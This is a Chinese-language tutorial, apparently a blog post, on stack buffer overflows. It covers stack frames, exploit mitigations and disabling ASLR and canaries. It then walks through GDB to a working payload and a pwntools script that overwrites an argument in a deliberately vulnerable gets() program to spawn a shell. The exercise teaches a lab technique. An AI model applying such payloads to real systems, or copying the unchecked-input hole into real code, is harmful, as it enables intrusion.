栈溢出简介

栈的概念

🖥是汇编语言中的一种数据结构,遵循LIFO(Last in Fist Out)原则,即后进先出

🚍栈的主要操作:压栈(Push)出栈(Pop)

📌注意:栈从高地址向低地址存储。

栈溢出原理

🎈栈溢出是缓冲区溢出的一种。

🈳栈溢出指向某个变量写入的数据超过其申请的内存空间大小,从而覆盖相邻栈的数据。

🔐我们可以通过这种覆盖相邻栈操作去覆盖函数返回地址从而劫持程序到我们想执行的地方。

函数调用原理图

📚想要学会Pwn和最简单的栈溢出,必须熟练掌握函数调用在汇编中的实现过程。

🔗我们目前使用的C语言编写的漏洞程序一般使用栈传递参数

即调用函数前先将参数从右到左的顺序压入栈中。

具体存储结构图如下:

Function_Stack

🔔High Address(高地址):栈底,最先入栈,最后出栈。

🔔Low Address(低地址):栈顶,最后入栈,最先出栈。

  1. 栈底是调用者保存的寄存器数据。调用函数前,我们需要将原来存放在EAX、ECX、EDX等寄存器中的值保存起来,以便被调用函数使用寄存器的同时不会造成原来的数据丢失,被调函数返回后只需从栈中取回数据即可。

  2. 紧接着是参数,我们按从右到左的顺序将参数压入栈中,方便被调函数访问。

  3. 再往后是返回地址。执行call调用函数时,ip会指向call的下一条指令,然后执行call指令。接着,会将被调函数的下一条指令偏移地址(即ip中的值)压入栈中,以便被调函数结束后继续执行原来程序中的下一条指令。

  4. 下一个是EBP的值。

  5. 最后是被调函数创建的局部变量

📌EBP:EBP寄存器是函数调用中很重要的一个寄存器。它保存了栈的基址。这个基址一般位于函数的开头部分。我们想要访问栈中的数据,必须有一个可以当作参考地址的对象,然后基于它用偏移地址访问我们需要的空间。

例如,大多数被调函数的开头:

1
2
3
push ebp
mov ebp,esp
sub esp,N

🔴首先将EBP寄存器里的值压入栈中保存,这个ebp即主函数中栈的基址(用于在主函数中作为参考地址访问别的内存空间)。

🔵然后把esp(当前栈顶的偏移地址)传递给ebp,此时ebp中的数据变成了当前函数的栈的基址。

🔴最后的用于为局部变量申请空间(一般情况下,大多数编译器把C语言局部变量也保存在栈中)。

❓为什么需要EBP?

🔵我们访问栈中的数据明明可以用SS:SP进行访问,为什么还需要EBP当作基址呢?

🔴因为对栈中的数据进行操作时,SP是不断变化的,我们无法准确定位它的位置,这会使程序变得很复杂,如果我们固定一个地址(即栈的基址),通过它使用偏移量访问其它内存空间,会使逻辑结构变得很简单。

栈溢出利用前准备工作

常见保护机制

  • ASLR:地址空间配置随机加载(Address space layout randomization,缩写ASLR,又称地址空间配置随机化、地址空间布局随机化)是一种防范内存损坏漏洞被利用的计算机安全技术。

  • RELRO:设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。

  • PIE:Position-Independent-Executable是Binutils,glibc和gcc的一个功能,能用来创建介于共享库和通常可执行代码之间的代码。

    标准的可执行程序需要固定的地址,并且只有被装载到这个地址才能正确执行,PIE能使程序像共享库一样在主存任何位置装载,这需要将程序编译成位置无关,并链接为ELF共享对象。

  • NX:NX即No-eXecute(不可执行)的意思,NX的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常。

  • Canary:栈溢出保护是一种缓冲区溢出攻击的缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。

    当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,该cookie往往放置在ebp的正上方,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。

    攻击者在覆盖返回地址的时候也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。

环境设置

⚡为了降低初学者入门难度,关闭ASLR保护。(临时方法,每次开机需执行)

1
echo 0 > /proc/sys/kernel/randomize_va_space

关闭Canary和其它保护,编译C语言时候使用:

1
gcc -m32 -O0 -no-pie -fno-stack-protector [源文件名] -o [目标文件名]

-m32 :编译32位程序

-O0 : 关闭所有优化

-no-pie:关闭PIE保护

-fno-stack-protector : 不开启Canary保护

关闭PIE保护,使用下列命令查看是否开启PIE保护:

1
gcc -v

若发现--enable-default-pie参数则PIE默认开启,需要在编译时候添加 -no-pie 参数。

Pwn目标程序

😄我们使用下面的C语言程序作为目标程序尝试利用栈溢出漏洞。

🍳下列程序很简单,运行后调用func函数,并传递 0xdeadbeef 参数。然后使用gets读入字符串,判断传入的参数是否等于 0xcafebabe,若等于则执行shell,否则打印 Nah..。

❓若程序正常执行,一定会打印Nah..,但是gets并不会检查输入字符串长度,我们可以借助它的缺陷进行栈溢出利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

栈溢出利用

栈溢出利用前运行测试

1
2
3
4
┌──(root💀kali)-[~/桌面]
└─# ./test
overflow me : 123456
Nah..

结果在预料之中,由于调用func函数时传递的参数是固定写死的,所以无论输入什么,都会输出这个结果。

使用Checksec检查

1
2
3
4
5
6
7
8
┌──(root💀kali)-[~/桌面]
└─# checksec test
[*] '/root/桌面/test'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

😄我们使用Checksec工具检查程序,发现是一个32位程序,并且除了NX保护外其它保护均未开启。

使用GDB调试

🐷我们使用 gdb -q [文件名] 进行文件调试。(q参数不输出gdb版权信息,防止输出太多干扰)

gdb

😋使用 stari 开始调试

stari

😫使用 disassemble main 命令查看main函数的汇编代码;

😜使用 disassemble func 查看func函数的汇编代码:

main

观察以上汇编代码,我们可以看出整个流程和C语言代码一致。

🙄我们在调用func函数的地方下一个断点:

break

😜然后开始执行程序:

r]()

🔍我们发现程序在 call 调用func函数的地方停了下来(高亮处)。

🔉可以看到此时栈顶传入的参数

👍我们使用stepi单步执行,进入func函数:

stepi

👍此时,进入func函数,准备执行 push ebp,栈顶为函数返回地址(即call的下一条命令)。

😏继续stepi会执行函数里的命令,此处不再赘述。

栈溢出利用思路

👍使用GDB知道了程序运行的流程,但是我们的key始终是不满足条件的固定值,怎么修改它?

😡前面我们提到,gets函数不会检查输入字符的长度,那么如果输入长度大于了变量申请的空间会发生什么?

👌没错,会产生栈溢出。它会将多余的数据覆盖其它内存空间中。

😄而且根据上述流程,参数变量的栈空间是相邻的,也就是说,如果产生栈溢出,会覆盖返回地址和参数

所以,我们可以通过使gets读取的字符串多余部分溢出到存储参数的栈空间,从而修改函数传入的参数。

我们需要做如下工作:

  1. 找到存储参数key的栈空间的地址。
  2. 找到开始存储变量的地址。
  3. 计算两个地址差值,并设计gets读入的字符串,使目的字符串覆盖参数。

实战栈溢出

📉我们根据上述流程分析,存储参数key的空间地址(执行call前栈顶的地址):

1
0000| 0xffffd1a0 --> 0xdeadbeef 

🎉接下来确定变量开始存储的地址,我们为了方便确定变量地址的位置,我们在gets后面下断点,然后传入特殊字符,如40个A。

gets

👌下列这两句代码,我们可以推断出变量开始存储的地址:

1
2
0000| 0xffffd160 --> 0xffffd170 ('A' <repeats 40 times>)
0016| 0xffffd170 ('A' <repeats 40 times>)

⏰参数开始存放地址:0xffffd1a0

⏰变量开始存放地址:0xffffd170

✍计算二者差值:0xffffd1a0 - 0xffffd170 = 30H = 48

因此,我们需要填入48个字符 + 覆盖值

💻构造如下payload(采用小端存储):

1
(python -c 'print "a"*48 + "\xbe\xba\xfe\xca"'; cat -) | ./test

😄输入命令后,参数被覆盖,程序执行了System函数,成功拿下Shell!(我们已经拿下root权限,可以执行任何代码)

Shell

pwntools

pwntools实现代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# coding:utf-8
from pwn import *
# 小端序转换函数
def p32_trans_iso_8859_1(value):
result = p32(value).decode('iso-8859-1')
return result
# 设置运行环境
context(arch='amd64', os='linux')
# process为本地程序,remote为远程调用
c = process("./bof_32-gcc4.8")
payload = 'A'*48 + p32_trans_iso_8859_1(0xcafebabe)
#print payload
# 向程序发送数据
c.sendline(payload)
# 获得shell
c.interactive()